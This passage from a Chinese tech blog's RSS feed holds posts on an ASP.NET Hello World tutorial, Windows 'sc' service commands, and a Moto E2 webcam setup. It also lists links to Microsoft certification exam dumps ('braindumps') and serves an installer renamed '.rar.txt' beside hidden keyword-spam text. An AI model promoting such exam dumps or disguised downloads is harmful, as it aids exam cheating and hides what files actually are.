&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=123</guid><pubDate>Sat, 28 Mar 2009 12:42:29 GMT</pubDate></item><item><title>[.NET]10天学会ASP.net之第一天</title><link>http://www.chendw.cn:8080/view.aspx?id=122</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;table cellspacing="0" cellpadding="0" align="left" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td align="center"&gt;                  &lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; 我认为ASP.NET比ASP难很多，希望大家做好准备。难难在实现同一个效果有很多方法，大家或许会疑惑。十天学会系列教程会清晰的写出各种方法，让大家能少一点坎坷。在ASP里面，大家几乎都是使用VB，数据库嘛，也无非是SQL和ACCESS。 &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 在ASP.NET里面，数据库还是这两个但是常用的语言多了一个C#，也是微软推荐的语言，为.NET平台定制的语言。这样ASP.NET就有四种组合：VB+ACCESS，VB+SQL，C#+ACCESS，C#+SQL，本教程会使用C#+ACCESS，兼顾四种来写，让大家对ASP.NET有一个全面的认识。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 虽然说学习ASP.NET不需要任何ASP基础，但是我觉得如果大家ASP不会，还是先看一下【十天学会&lt;a class="channel_keylink" href="http://edu.itbulo.com/pro/asp/" target="_blank"&gt;ASP教程&lt;/a&gt;】，大家所需要了解的不是ASP的程序怎么写，而是怎么构建服务器，怎么使用HTML表单，同时对SQL语句有一个基础和理解，因为在本文里我不会将将一些基础的东西。 &lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 废话不多说，开始我们第一天的学习：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 学习目的：调试出安装环境&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 我要申明一点，&lt;a class="channel_keylink" href="http://edu.itbulo.com/sys/" target="_blank"&gt;操作系统&lt;/a&gt;就用2000，如果说要学习一个网络语言还不肯多装一个&lt;a class="channel_keylink" href="http://edu.itbulo.com/sys/" target="_blank"&gt;操作系统&lt;/a&gt;的话，那我看也不要学习了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 先到网上下载一个MDAC(要是2.7以上的版本才行)，然后安装，安装以后或许会重新启动一次。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 然后再下载一个.NET FRAMEWORK SDK，安装以后会在控制面板里面的管理工具里面多两个东西，这个不用理睬他，我们要使用的还是原来的INTERNET服务管理器。打开它按照&lt;a class="channel_keylink" href="http://edu.itbulo.com/pro/asp/" target="_blank"&gt;ASP教程&lt;/a&gt;里面的调试方法建立一个目录，建立一个EXAMPLE1.ASPX，然后用记事本打开这个文件在里面输入&lt;/p&gt;&lt;code&gt;&lt;font face="新宋体"&gt;＜script language="c#" runat="server"＞&lt;br&gt;void Page_Load()&lt;br&gt;{&lt;br&gt;Response.Write("Hello World!");&lt;br&gt;}&lt;br&gt;＜/script＞&lt;br&gt;-------------------&lt;br&gt;＜script language="vb" runat="server"＞&lt;br&gt;sub page_load()&lt;br&gt;response.write("Hello World!")&lt;br&gt;end sub&lt;br&gt;＜/script＞ &lt;/font&gt;&lt;/code&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 然后用本地访问，查看结果：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 在这里我要说明两点：&lt;/p&gt;&lt;p&gt;1、我的示例文件总是有A和B分别是用C#和VB写的，演示的图片就用C#那一种的，都一样嘛，教程里面代码也是写两种用＜hr＞分割开，大家可以比较一下。&lt;/p&gt;&lt;p&gt;2、我写教程的时候用的都是记事本来编写APS.NET大家也可以安装VS.NET来编写不过起步还是用记事本比较好，因为可以看的更加透彻一点。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 今天就说到这里，明天说一下C#的基本语法。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=122</guid><pubDate>Wed, 24 Oct 2007 09:15:00 GMT</pubDate></item><item><title>[认证]Microsoft认证题库-精选电子书下载</title><link>http://www.chendw.cn:8080/view.aspx?id=121</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div style="FLOAT: right" align="right"&gt;&lt;a title="评分 0" href="http://bbs.chinaitlab.com/misc.php?action=viewratings&amp;amp;tid=258109&amp;amp;pid=1844998&amp;amp;sid=J2Jf6Q"&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="bold"&gt;Microsoft认证题库-精选电子书下载&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;div class="t_msgfont" &gt;&lt;table cellspacing="0" cellpadding="0" width="750" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td valign="top"&gt;&lt;p&gt;&lt;strong&gt;Microsoft TestKing&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15882.html" target="_blank"&gt;Microsoft TestKing 74-139&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15465.html" target="_blank"&gt;Microsoft TestKing 70-553&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15466.html" target="_blank"&gt;Microsoft TestKing 70-551&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15462.html" target="_blank"&gt;Microsoft TestKing 70-526&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15464.html" target="_blank"&gt;Microsoft TestKing 70-431&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15463.html" target="_blank"&gt;Microsoft TestKing 70-431 v5&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15459.html" target="_blank"&gt;Microsoft TestKing 70-320 v10.0&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/16109.html" target="_blank"&gt;Microsoft TestKing 70-320&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/16110.html" target="_blank"&gt;Microsoft TestKing 70-305 v12.0&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/16111.html" target="_blank"&gt;Microsoft TestKing 70-300 v18&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15460.html" target="_blank"&gt;Microsoft.TestKing.70-300 v16&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/soft/15461.htm" target="_blank"&gt;Microsoft TestKing 70-299 v14&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/soft/15457.htm" target="_blank"&gt;Microsoft TestKing 70-298 v12&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15541.html" target="_blank"&gt;Microsoft TestKing 70-297 v19&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/soft/12822.htm" target="_blank"&gt;Microsoft TestKing 70-296 v45&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/soft/14182.htm" target="_blank"&gt;Microsoft TestKing 70-294 v33&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/14181.html" target="_blank"&gt;Microsoft TestKing 70-293 v33&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/12559.html" target="_blank"&gt;Microsoft TestKing 70-293 v29&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/12247.html" target="_blank"&gt;Microsoft TestKing 70-293 v26&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11714.html" target="_blank"&gt;Microsoft TestKing 70-293 v25&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11992.html" target="_blank"&gt;Microsoft TestKing 70-292 v67&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11715.html" target="_blank"&gt;Microsoft TestKing 70-292 v64&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/14180.html" target="_blank"&gt;Microsoft TestKing 70-291 v52&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/13186.html" target="_blank"&gt;Microsoft TestKing 70-291 v50&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/12823.html" target="_blank"&gt;Microsoft TestKing 70-291 v49&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11716.html" target="_blank"&gt;Microsoft TestKing 70-291 v46&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11350.html" target="_blank"&gt;Microsoft TestKing 70-291 v45&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/14179.html" target="_blank"&gt;Microsoft TestKing 70-290 v49&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15455.html" target="_blank"&gt;Microsoft TestKing 70-290 v48&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11346.html" target="_blank"&gt;Microsoft TestKing 70-290 v45&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top"&gt;&lt;p&gt;&lt;strong&gt;Microsoft ActualTests&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/16104.html" target="_blank"&gt;Microsoft ActualTests 70-548 v2007.08.15&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/16105.html" target="_blank"&gt;Microsoft ActualTests 70-547 v2007.08.08&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15537.html" target="_blank"&gt;Microsoft ActualTests 70-431 v03.05.07&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/16106.html" target="_blank"&gt;Microsoft ActualTests 70-350 v1.0&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11625.html" target="_blank"&gt;Microsoft ActualTests 70-306 Exam&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/6533.html" target="_blank"&gt;Microsoft ActualTests 70-299&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/5906.html" target="_blank"&gt;Microsoft ActualTests 70-298 v06.16&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11620.html" target="_blank"&gt;Microsoft ActualTests 70-296 Exam&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11345.html" target="_blank"&gt;Microsoft ActualTests 70-294 Exam&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15445.html" target="_blank"&gt;Microsoft ActualTests 70-294 v01.01.06&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/3399.html" target="_blank"&gt;Microsoft ACTUALTESTS 70-294 V3.25.04&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/3398.html" target="_blank"&gt;Microsoft ACTUALTESTS 70-293 V3.29.04&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11621.html" target="_blank"&gt;Microsoft ActualTests 70-293 Exam&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15444.html" target="_blank"&gt;Microsoft ActualTests 70-292 v01.01.06&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/4874.html" target="_blank"&gt;Microsoft ACTUALTESTS 70-292 V5.11.04&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15443.html" target="_blank"&gt;Microsoft ActualTests 70-291 v07.03.06&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15442.html" target="_blank"&gt;Microsoft ActualTests 70-291 v01.01.06&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15441.html" target="_blank"&gt;Microsoft ActualTests 70-290 v08.05.04&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15440.html" target="_blank"&gt;Microsoft ActualTests 70-290 v01.01.06&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;strong&gt;Microsoft TestInside&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/16108.html" target="_blank"&gt;Microsoft TestInside 70-292&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15538.html" target="_blank"&gt;Microsoft TestInside 70-291 v2007.02.08&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15733.html" target="_blank"&gt;Microsoft TestInside 70-270&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15699.html" target="_blank"&gt;Microsoft TestInside 350-001&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&lt;/td&gt;        &lt;td valign="top"&gt;&lt;p&gt;&lt;strong&gt;MS Press Trainingkit&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11184.html" target="_blank"&gt;MS Press Trainingkit 070-315&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11183.html" target="_blank"&gt;MS Press Trainingkit 070-299&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11185.html" target="_blank"&gt;MS Press Trainingkit 070-298&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11186.html" target="_blank"&gt;MS Press Trainingkit 070-297&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11189.html" target="_blank"&gt;MS Press Trainingkit 070-296&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11187.html" target="_blank"&gt;MS Press Trainingkit 070-294&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11188.html" target="_blank"&gt;MS Press Trainingkit 070-293&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11189.html" target="_blank"&gt;MS Press Trainingkit 070-292&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11190.html" target="_blank"&gt;MS Press Trainingkit 070-291&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/11191.html" target="_blank"&gt;MS Press Trainingkit 070-290&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;strong&gt;Microsoft Braindumps&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15884.html" target="_blank"&gt;Microsoft Braindumps 70-299&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15881.html" target="_blank"&gt;Microsoft Braindumps 70-298&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15880.html" target="_blank"&gt;Microsoft Braindumps 70-294&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15879.html" target="_blank"&gt;Microsoft Braindumps 70-293&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15878.html" target="_blank"&gt;Microsoft Braindumps 70-291&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15877.html" target="_blank"&gt;Microsoft Braindumps 70-290&lt;/a&gt;&lt;br&gt;&lt;a href="http://download.chinaitlab.com/testdoc/files/15876.html" target="_blank"&gt;Microsoft Braindumps 70-270&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br&gt;&lt;p&gt;&lt;font color="#ff0000"&gt;&lt;strong&gt;下载请注意：注册一下会员帐号就可以下载了，无需等级、积分,经验值。请点击“&lt;font color="#0000ff"&gt;下载地址一&lt;/font&gt;”下载，更多电子书、视频请到“&lt;a href="http://download.chinaitlab.com/" target="_blank"&gt;&lt;font face="宋体" color="#0000ff" size="3"&gt;http://download.chinaitlab.com&lt;/font&gt;&lt;/a&gt;&lt;/strong&gt;&lt;strong&gt;”下载&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=121</guid><pubDate>Wed, 24 Oct 2007 02:56:00 GMT</pubDate></item><item><title>[批处理]批处理控制服务</title><link>http://www.chendw.cn:8080/view.aspx?id=120</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;主要用到SC命令&lt;/p&gt;&lt;p&gt;贴个例子 启动数据库&lt;/p&gt;&lt;p&gt;sc start mssql$sql2005&lt;br&gt;sc start msftesql$sql2005&lt;/p&gt;&lt;p&gt;停止数据库&lt;/p&gt;&lt;p&gt;sc stop mssql$sql2005&lt;br&gt;sc stop msftesql$sql2005&lt;br&gt;&lt;/p&gt;&lt;p&gt;详细说明&lt;/p&gt;&lt;p&gt;DESCRIPTION:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SC is a command line program used for communicating with the&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NT Service Controller and services.&lt;br&gt;USAGE:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sc &amp;lt;server&amp;gt; [command] [service name] &amp;lt;option1&amp;gt; &amp;lt;option2&amp;gt;...&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The option &amp;lt;server&amp;gt; has the form "&lt;a href="file://  ServerName"&gt;\\ServerName&lt;/a&gt;"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Further help on commands can be obtained by typing: "sc [command]"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Commands:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query-----------Queries the status for a service, or&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enumerates the status for types of services.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; queryex---------Queries the extended status for a service, or&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enumerates the status for types of services.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; start-----------Starts a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pause-----------Sends a PAUSE control request to a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; interrogate-----Sends an INTERROGATE control request to a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; continue--------Sends a CONTINUE control request to a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stop------------Sends a STOP request to a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; config----------Changes the configuration of a service (persistant)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; description-----Changes the description of a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; failure---------Changes the actions taken by a service upon failure&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; qc--------------Queries the configuration information for a service&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; qdescription----Queries the description for a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; qfailure--------Queries the actions taken by a service upon failure&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; delete----------Deletes a service (from the registry).&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; create----------Creates a service. (adds it to the registry).&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; control---------Sends a control to a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sdshow----------Displays a service's security descriptor.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sdset-----------Sets a service's security descriptor.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GetDisplayName--Gets the DisplayName for a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GetKeyName------Gets the ServiceKeyName for a service.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EnumDepend------Enumerates Service Dependencies.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The following commands don't require a service name:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sc &amp;lt;server&amp;gt; &amp;lt;command&amp;gt; &amp;lt;option&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; boot------------(ok | bad) Indicates whether the last boot should&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; be saved as the last-known-good boot configuration&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Lock------------Locks the Service Database&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; QueryLock-------Queries the LockStatus for the SCManager Database&lt;br&gt;EXAMPLE:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sc start MyService&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=120</guid><pubDate>Thu, 18 Oct 2007 09:10:00 GMT</pubDate></item><item><title>[灌下水]发一张图片</title><link>http://www.chendw.cn:8080/view.aspx?id=119</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div forimg="1"&gt;&lt;img border="0" small="0" class="blogimg" src="http://hiphotos.baidu.com/cdwm/pic/item/1566c88031227bdc9123d95a.jpg"&gt;&lt;/div&gt;&lt;div class="tmpDiv"&gt; &lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=119</guid><pubDate>Mon, 15 Oct 2007 08:21:00 GMT</pubDate></item><item><title>[精品教程]MOTO E2的摄像头终于可以连到电脑上实现视频聊天</title><link>http://www.chendw.cn:8080/view.aspx?id=118</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;经过测试果然成功了。推荐给大家。&lt;/p&gt;&lt;p&gt;&lt;font color="#000000"&gt;&lt;a target="_blank" href="http://iscdw.cn/soft/shouji/MobileVision.rar.txt"&gt;MobileVisionPCSuite_Setup_WithDotFrameWork.rar.txt&lt;/a&gt;  下载&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#ff9900"&gt;请用下载工具下载 下载完成后把扩展名改成.rar&lt;/font&gt;&lt;/p&gt;&lt;p&gt;正式上教程，方法其实早就有了，只是软件不对，呵呵，有幸被我发现而已！！！和大家分享一下！！！&lt;br&gt;&lt;span style="display: none"&gt;(T+}'F:L&amp;quot;U'T4z3@!`)T专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;#f%r-P;v)|9q1k9bmoto.it168.com&lt;/span&gt;首先，需要3个软件！&lt;br&gt;&lt;span style="display: none"&gt;&amp;quot;}4G-w&amp;quot;}3p3m6L摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;&lt;font style="font-size: 0px; color: 